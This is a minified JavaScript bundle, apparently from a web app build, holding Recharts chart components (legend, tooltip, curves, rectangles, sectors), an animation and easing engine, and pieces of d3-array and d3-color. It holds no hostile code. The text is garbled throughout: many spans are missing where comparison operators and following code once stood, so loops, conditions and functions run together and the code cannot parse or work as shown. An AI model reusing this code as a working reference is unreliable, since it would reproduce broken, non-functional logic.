HT={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},sN=Yt({name:"legend",initialState:HT,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:$e()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=In(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:$e()},removeLegendPayload:{reducer(e,t){var n=In(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:$e()}}}),{setLegendSize:zV,setLegendSettings:CV,addLegendPayload:oN,replaceLegendPayload:lN,removeLegendPayload:cN}=sN.actions,KT=sN.reducer;function Vm(){return Vm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=la.separator,contentStyle:n,itemStyle:r,labelStyle:i=la.labelStyle,payload:a,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:m=la.accessibilityLayer}=e,h=()=>{if(a&&a.length){var k={padding:0,margin:0},S=(l?md(a,l):a).map((N,z)=>{if(N.type==="none")return null;var O=N.formatter||o||XT,{value:_,name:T}=N,P=_,R=T;if(O){var V=O(_,T,N,z,a);if(Array.isArray(V))[P,R]=V;else if(V!=null)P=V;else return null}var $=Cs(Cs({},la.itemStyle),{},{color:N.color||la.itemStyle.color},r);return p.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(z),style:$},br(R)?p.createElement("span",{className:"recharts-tooltip-item-name"},R):null,br(R)?p.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,p.createElement("span",{className:"recharts-tooltip-item-value"},P),p.createElement("span",{className:"recharts-tooltip-item-unit"},N.unit||""))});return p.createElement("ul",{className:"recharts-tooltip-item-list",style:k},S)}return null},x=Cs(Cs({},la.contentStyle),n),g=Cs({margin:0},i),y=!St(d),v=y?d:"",b=qe("recharts-default-tooltip",c),w=qe("recharts-tooltip-label",u);y&&f&&a!==void 0&&a!==null&&(v=f(d,a));var j=m?{role:"status","aria-live":"assertive"}:{};return p.createElement("div",Vm({className:b,style:x},j),p.createElement("p",{className:w,style:g},p.isValidElement(v)?v:"".concat(v)),h())},Ps="recharts-tooltip-wrapper",QT={visibility:"hidden"};function JT(e){var{coordinate:t,translateX:n,translateY:r}=e;return qe(Ps,{["".concat(Ps,"-right")]:fe(n)&&t&&fe(t.x)&&n>=t.x,["".concat(Ps,"-left")]:fe(n)&&t&&fe(t.x)&&n=t.y,["".concat(Ps,"-top")]:fe(r)&&t&&fe(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var m=c[r];if(m==null)return 0;if(o[r]){var h=d,x=m;return hy?Math.max(d,m):Math.max(f,m)}function eM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function tM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:a,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,m;return l.height>0&&l.width>0&&n?(f=Py({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:a,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),m=Py({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:a,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=eM({translateX:f,translateY:m,useTranslate3d:c})):d=QT,{cssProperties:d,cssClasses:JT({translateX:f,translateY:m,coordinate:n})}}function Ey(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ll(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,a;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(a=this.props.coordinate)===null||a===void 0?void 0:a.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:a,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:m,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:k}=tM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:m,viewBox:h}),S=v?{}:Ll(Ll({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},k),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),N=Ll(Ll({},S),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return p.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:N,ref:y},a)}}var uN=()=>{var e;return(e=xe(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function Km(){return Km=Object.assign?Object.assign.bind():function(e){for(var t=1;tje(e.x)&&je(e.y),Ty=e=>e.base!=null&&su(e.base)&&su(e),Es=e=>e.x,As=e=>e.y,lM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(Ko(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=Oy["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return Oy[n]||sd},My={connectNulls:!1,type:"linear"},cM=e=>{var{type:t=My.type,points:n=[],baseLine:r,layout:i,connectNulls:a=My.connectNulls}=e,o=lM(t,i),l=a?n.filter(su):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>_y(_y({},x),{},{base:r[g]}));i==="vertical"?c=Cl().y(As).x1(Es).x0(x=>x.base.x):c=Cl().x(Es).y1(As).y0(x=>x.base.y);var d=c.defined(Ty).curve(o),f=a?u.filter(Ty):u;return d(f)}var m;i==="vertical"&&fe(r)?m=Cl().y(As).x1(Es).x0(r):fe(r)?m=Cl().x(Es).y1(As).y0(r):m=w5().x(Es).y(As);var h=m.defined(su).curve(o);return h(l)},Ia=e=>{var{className:t,points:n,path:r,pathRef:i}=e,a=ss();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||a,connectNulls:e.connectNulls},l=n&&n.length?cM(o):r;return p.createElement("path",Km({},yr(e),wx(e),{className:qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},uM=["x","y","top","left","width","height","className"];function qm(){return qm=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(a,",").concat(t,"h").concat(n),gM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:a=0,height:o=0,className:l}=e,c=hM(e,uM),u=dM({x:t,y:n,top:r,left:i,width:a,height:o},c);return!fe(t)||!fe(n)||!fe(a)||!fe(o)||!fe(r)||!fe(i)?null:p.createElement("path",qm({},Mt(u),{className:qe("recharts-cross",l),d:vM(t,n,a,o,r,i)}))};function yM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function Iy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dy(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),dN=(e,t,n)=>e.map(r=>"".concat(kM(r)," ").concat(t,"ms ").concat(n)).join(","),NM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Oo=(e,t)=>Object.keys(t).reduce((n,r)=>Dy(Dy({},n),{},{[r]:e(r,t[r])}),{});function Ry(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function st(e){for(var t=1;te+(t-e)*n,Ym=e=>{var{from:t,to:n}=e;return t!==n},fN=(e,t,n)=>{var r=Oo((i,a)=>{if(Ym(a)){var[o,l]=e(a.from,a.to,a.velocity);return st(st({},a),{},{from:o,velocity:l})}return a},t);return n<1?Oo((i,a)=>Ym(a)&&r[i]!=null?st(st({},a),{},{velocity:ou(a.velocity,r[i].velocity,n),from:ou(a.from,r[i].from,n)}):a,t):fN(e,r,n-1)};function PM(e,t,n,r,i,a){var o,l=r.reduce((m,h)=>st(st({},m),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Oo((m,h)=>h.from,l),u=()=>!Object.values(l).filter(Ym).length,d=null,f=m=>{o||(o=m);var h=m-o,x=h/n.dt;l=fN(n,l,x),i(st(st(st({},e),t),c())),o=m,u()||(d=a.setTimeout(f))};return()=>(d=a.setTimeout(f),()=>{var m;(m=d)===null||m===void 0||m()})}function EM(e,t,n,r,i,a,o){var l=null,c=i.reduce((f,m)=>{var h=e[m],x=t[m];return h==null||x==null?f:st(st({},f),{},{[m]:[h,x]})},{}),u,d=f=>{u||(u=f);var m=(f-u)/r,h=Oo((g,y)=>ou(...y,n(m)),c);if(a(st(st(st({},e),t),h)),m<1)l=o.setTimeout(d);else{var x=Oo((g,y)=>ou(...y,n(1)),c);a(st(st(st({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const AM=(e,t,n,r,i,a)=>{var o=NM(e,t);return n==null?()=>(i(st(st({},e),t)),()=>{}):n.isStepper===!0?PM(e,t,n,o,i,a):EM(e,t,n,r,o,i,a)};var lu=1e-4,pN=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],mN=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),$y=(e,t)=>n=>{var r=pN(e,t);return mN(r,n)},_M=(e,t)=>n=>{var r=pN(e,t),i=[...r.map((a,o)=>a*o).slice(1),0];return mN(i,n)},OM=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(a=>parseFloat(a));return[i[0],i[1],i[2],i[3]]},TM=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=$y(e,n),a=$y(t,r),o=_M(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,m=0;m<8;++m){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,a=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,m=c*i/1e3+o;return Math.abs(m-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return By(e);case"spring":return LM();default:if(e.split("(")[0]==="cubic-bezier")return By(e)}return typeof e=="function"?e:null};function DM(e){var t,n=()=>null,r=!1,i=null,a=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(a.bind(null,u),c);return}a(c),i=e.setTimeout(a.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),a(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class RM{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,a=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(a))};return i=requestAnimationFrame(a),()=>{i!=null&&cancelAnimationFrame(i)}}}function $M(){return DM(new RM)}var BM=p.createContext($M);function FM(e,t){var n=p.useContext(BM);return p.useMemo(()=>t??n(e),[e,t,n])}var WM=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Td={isSsr:WM()},UM={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},Fy={t:0},Jf={t:1};function Md(e){var t=cn(e,UM),{isActive:n,canBegin:r,duration:i,easing:a,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Td.isSsr:n,f=FM(t.animationId,t.animationManager),[m,h]=p.useState(d?Fy:Jf),x=p.useRef(null);return p.useEffect(()=>{d||h(Jf)},[d]),p.useEffect(()=>{if(!d||!r)return as;var g=AM(Fy,Jf,IM(a),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,a,o,c,l,f]),u(m.t)}function Ld(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=p.useRef(So(t)),r=p.useRef(e);return r.current!==e&&(n.current=So(t),r.current=e),n.current}var VM=["radius"],HM=["radius"],Wy,Uy,Vy,Hy,Ky,qy,Yy,Gy,Xy,Zy;function Qy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jy(e){for(var t=1;t{var a=Gr(n),o=Gr(r),l=Math.min(Math.abs(a)/2,Math.abs(o)/2),c=o>=0?1:-1,u=a>=0?1:-1,d=o>=0&&a>=0||o<0&&a<0?1:0,f;if(l>0&&Array.isArray(i)){for(var m=[0,0,0,0],h=0,x=4;hl?l:y}f=Ge(Wy||(Wy=Un(["M",",",""])),e,t+c*m[0]),m[0]>0&&(f+=Ge(Uy||(Uy=Un(["A ",",",",0,0,",",",",",""])),m[0],m[0],d,e+u*m[0],t)),f+=Ge(Vy||(Vy=Un(["L ",",",""])),e+n-u*m[1],t),m[1]>0&&(f+=Ge(Hy||(Hy=Un(["A ",",",",0,0,",`, `,",",""])),m[1],m[1],d,e+n,t+c*m[1])),f+=Ge(Ky||(Ky=Un(["L ",",",""])),e+n,t+r-c*m[2]),m[2]>0&&(f+=Ge(qy||(qy=Un(["A ",",",",0,0,",`, `,",",""])),m[2],m[2],d,e+n-u*m[2],t+r)),f+=Ge(Yy||(Yy=Un(["L ",",",""])),e+u*m[3],t+r),m[3]>0&&(f+=Ge(Gy||(Gy=Un(["A ",",",",0,0,",`, `,",",""])),m[3],m[3],d,e,t+r-c*m[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=Ge(Xy||(Xy=Un(["M ",",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",",",` L `,",",` A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=Ge(Zy||(Zy=Un(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},n1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},hN=e=>{var t=cn(e,n1),n=p.useRef(null),[r,i]=p.useState(-1);p.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var W=n.current.getTotalLength();W&&i(W)}catch{}},[]);var{x:a,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:m,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=p.useRef(l),v=p.useRef(c),b=p.useRef(a),w=p.useRef(o),j=p.useMemo(()=>({x:a,y:o,width:l,height:c,radius:u}),[a,o,l,c,u]),k=Ld(j,"rectangle-");if(a!==+a||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var S=qe("recharts-rectangle",d);if(!g){var N=Mt(t),{radius:z}=N,O=e1(N,VM);return p.createElement("path",cu({},O,{x:Gr(a),y:Gr(o),width:Gr(l),height:Gr(c),radius:typeof u=="number"?u:void 0,className:S,d:t1(a,o,l,c,u)}))}var _=y.current,T=v.current,P=b.current,R=w.current,V="0px ".concat(r===-1?1:r,"px"),$="".concat(r,"px 0px"),L=dN(["strokeDasharray"],m,typeof f=="string"?f:n1.animationEasing);return p.createElement(Md,{animationId:k,key:k,canBegin:r>0,duration:m,easing:f,isActive:g,begin:h},W=>{var B=jt(_,l,W),U=jt(T,c,W),F=jt(P,a,W),H=jt(R,o,W);n.current&&(y.current=B,v.current=U,b.current=F,w.current=H);var G;x?W>0?G={transition:L,strokeDasharray:$}:G={strokeDasharray:V}:G={strokeDasharray:$};var re=Mt(t),{radius:oe}=re,he=e1(re,HM);return p.createElement("path",cu({},he,{radius:typeof u=="number"?u:void 0,className:S,d:t1(F,H,B,U,u),ref:n,style:Jy(Jy({},G),t.style)}))})};function r1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function i1(e){for(var t=1;te*180/Math.PI,rt=(e,t,n,r)=>({x:e+Math.cos(-uu*r)*n,y:t+Math.sin(-uu*r)*n}),xN=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},e8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:a}=t;return Math.sqrt((n-i)**2+(r-a)**2)},t8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:a}=t,o=e8({x:n,y:r},{x:i,y:a});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>a&&(c=2*Math.PI-c),{radius:o,angle:JM(c),angleInRadian:c}},n8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),a=Math.min(r,i);return{startAngle:t-a*360,endAngle:n-a*360}},r8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),a=Math.floor(r/360),o=Math.min(i,a);return e+o*360},i8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:a}=t8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=n8(t),d=a,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?i1(i1({},t),{},{radius:i,angle:r8(d,t)}):null};function vN(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:a}=e,o=rt(t,n,r,i),l=rt(t,n,r,a);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:a}}var a1,s1,o1,l1,c1,u1,d1;function Gm(){return Gm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=Ft(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Il=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:a,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/uu,f=c?i:i+a*d,m=rt(t,n,u,f),h=rt(t,n,r,f),x=c?i-a*d:i,g=rt(t,n,u*Math.cos(d*uu),x);return{center:m,circleTangency:h,lineTangency:g,theta:d}},gN=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:a,endAngle:o}=e,l=a8(a,o),c=a+l,u=rt(t,n,i,a),d=rt(t,n,i,c),f=Ge(a1||(a1=Mi(["M ",",",` A `,",",`,0, `,",",`, `,",",` `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(a>c),d.x,d.y);if(r>0){var m=rt(t,n,r,a),h=rt(t,n,r,c);f+=Ge(s1||(s1=Mi(["L ",",",` A `,",",`,0, `,",",`, `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(a<=c),m.x,m.y)}else f+=Ge(o1||(o1=Mi(["L ",","," Z"])),t,n);return f},s8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:a,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Ft(u-c),{circleTangency:f,lineTangency:m,theta:h}=Il({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:a,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Il({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:a,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?Ge(l1||(l1=Mi(["M ",",",` a`,",",",0,0,1,",`,0 a`,",",",0,0,1,",`,0 `])),m.x,m.y,a,a,a*2,a,a,-a*2):gN({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=Ge(c1||(c1=Mi(["M ",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",",` `])),m.x,m.y,a,a,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,a,a,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:k}=Il({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),{circleTangency:S,lineTangency:N,theta:z}=Il({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:a,cornerIsExternal:l}),O=l?Math.abs(c-u):Math.abs(c-u)-k-z;if(O<0&&a===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=Ge(u1||(u1=Mi(["L",",",` A`,",",",0,0,",",",",",` A`,",",",0,",",",",",",",` A`,",",",0,0,",",",",","Z"])),N.x,N.y,a,a,+(d<0),S.x,S.y,r,r,+(O>180),+(d>0),w.x,w.y,a,a,+(d<0),j.x,j.y)}else b+=Ge(d1||(d1=Mi(["L",",","Z"])),t,n);return b},o8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},yN=e=>{var t=cn(e,o8),{cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(a0&&Math.abs(u-d)<360?g=s8({cx:n,cy:r,innerRadius:i,outerRadius:a,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=gN({cx:n,cy:r,innerRadius:i,outerRadius:a,startAngle:u,endAngle:d}),p.createElement("path",Gm({},Mt(t),{className:m,d:g}))};function l8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(R5(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:a,outerRadius:o,angle:l}=t,c=rt(r,i,a,l),u=rt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return vN(t)}}var bN={},wN={},jN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=_x;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(jN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jN;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(wN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Ox,n=wN;function r(i,a,o){o&&typeof o!="number"&&t.isIterateeCall(i,a,o)&&(a=o=void 0),i=n.toFinite(i),a===void 0?(a=i,i=0):a=n.toFinite(a),o=o===void 0?it?1:e>=t?0:NaN}function u8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function Ux(e){let t,n,r;e.length!==2?(t=si,n=(l,c)=>si(e(l),c),r=(l,c)=>e(l)-c):(t=e===si||e===u8?e:d8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:a}}function d8(){return 0}function NN(e){return e===null?NaN:+e}function*f8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const p8=Ux(si),Qo=p8.right;Ux(NN).center;class f1 extends Map{constructor(t,n=x8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(p1(this,t))}has(t){return super.has(p1(this,t))}set(t,n){return super.set(m8(this,t),n)}delete(t){return super.delete(h8(this,t))}}function p1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function m8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function h8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function x8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function v8(e=si){if(e===si)return SN;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function SN(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const g8=Math.sqrt(50),y8=Math.sqrt(10),b8=Math.sqrt(2);function du(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),a=r/Math.pow(10,i),o=a>=g8?10:a>=y8?5:a>=b8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=a-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function h1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function zN(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?SN:v8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),m=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+m)),x=Math.min(r,Math.floor(t+(c-u)*f/c+m));zN(e,t,h,x,i)}const a=e[t];let o=n,l=r;for(_s(e,n,t),i(e[r],a)>0&&_s(e,n,r);o0;)--l}i(e[n],a)===0?_s(e,n,l):(++l,_s(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function _s(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function w8(e,t,n){if(e=Float64Array.from(f8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return h1(e);if(t>=1)return m1(e);var r,i=(r-1)*t,a=Math.floor(i),o=m1(zN(e,a).subarray(0,a+1)),l=h1(e.subarray(a+1));return o+(l-o)*(i-a)}}function j8(e,t,n=NN){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,a=Math.floor(i),o=+n(e[a],a,e),l=+n(e[a+1],a+1,e);return o+(l-o)*(i-a)}}function k8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,a=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Dl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Dl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=z8.exec(e))?new Wt(t[1],t[2],t[3],1):(t=C8.exec(e))?new 